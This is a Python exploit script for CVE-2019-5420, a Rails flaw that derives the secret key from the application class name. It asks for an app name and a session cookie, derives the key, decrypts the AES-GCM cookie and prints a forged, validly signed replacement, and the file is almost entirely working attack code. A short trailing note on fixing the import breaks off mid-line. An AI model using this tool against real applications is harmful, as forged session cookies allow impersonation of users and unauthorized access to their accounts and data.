CVE-2019-5420.py

#!/usr/bin/env python3                                                                                                                                                                                             
#                                                                                                                                                                                                                  
# This is a simple decrypt-temper-encrypt tool for CVE-2019-5420 affecting ruby                                                                                                                                               
# If you're lucky, session cookie will contain user id or other data to play with                                                                                                                                        
# Look for cookies with two "--" substrings inside
                                                                                                                                                                                                                   
import urllib.parse                                                                                                                                                                                                
import hashlib                                                                                                                                                                                                     
import base64                                                                                                                                                                                                      
from Cryptodome.Cipher import AES                                                                                                                                                                                  
import sys                                                                                                                                                                                                         
                                                                                                                                                                                                                   
className = input("Provide App name: ")                                                                                                                                                                            
if not("::Application" in className):                                                                                                                                                                              
    className = className + "::Application"                                                                                                                                                                        
                                                                                                                                                                                                                   
# https://github.com/rails/rails/blob/v5.2.2/actionpack/lib/action_dispatch/railtie.rb#L22                                                                                                                         
salt = b"authenticated encrypted cookie"                                                                                                                                                                           
                                                                                                                                                                                                                   
h = hashlib.md5(className.encode())                                                                                                                                                                                
secret = hashlib.pbkdf2_hmac('sha1', h.hexdigest().encode(), salt, 1000, dklen=32)                                                                                                                                 
                                                                                                                                                                                                                   
cookie = input("Provide session cookie value: ")                                                                                                                                                                   
cookie = urllib.parse.unquote(cookie)                                                                                                                                                                              
                                                                                                                                                                                                                   
# https://github.com/rails/rails/blob/v5.2.2/activesupport/lib/active_support/message_encryptor.rb#L185                                                                                                            
encrypted_data, iv, auth_tag = [base64.b64decode(x) for x in cookie.split("--")]                                                                                                                                   
                                                                                                                                                                                                                   
cipher = AES.new(secret, AES.MODE_GCM, iv)                                                                                                                                                                         
plaintext = cipher.decrypt(encrypted_data)                                                                                                                                                                         
try:                                                                                                                                                                                                               
    cipher.verify(auth_tag)                                                                                                                                                                                        
    print("Here's your decoded cookie:")                                                                                                                                                                           
    print(plaintext.decode())                                                                                                                                                                                      
except ValueError:                                                                                                                                                                                                 
    print("Decode failed")                                                                                                                                                                                         
    sys.exit(-1)                                                                                                                                                                                                   
                                                                                                                                                                                                                   
cipher = AES.new(secret, AES.MODE_GCM, iv)                                                                                                                                                                         
forged = input("\nProvide forged session cookie: ")                                                                                                                                                                
forged_encrypted_data, forged_auth_tag = cipher.encrypt_and_digest(forged.encode())                                                                                                                                
forged_cookie = "--".join(base64.b64encode(x).decode() for x in [forged_encrypted_data, iv, forged_auth_tag])                                                                                                      
forged_cookie = urllib.parse.quote(forged_cookie)                                                                                                                                                                  
print("Here's your forged cookie:")                                                                                                                                                                                
print(forged_cookie)                         

replace line 10 from Cryptodome.Cipher import AES with from Crypto.Cipher import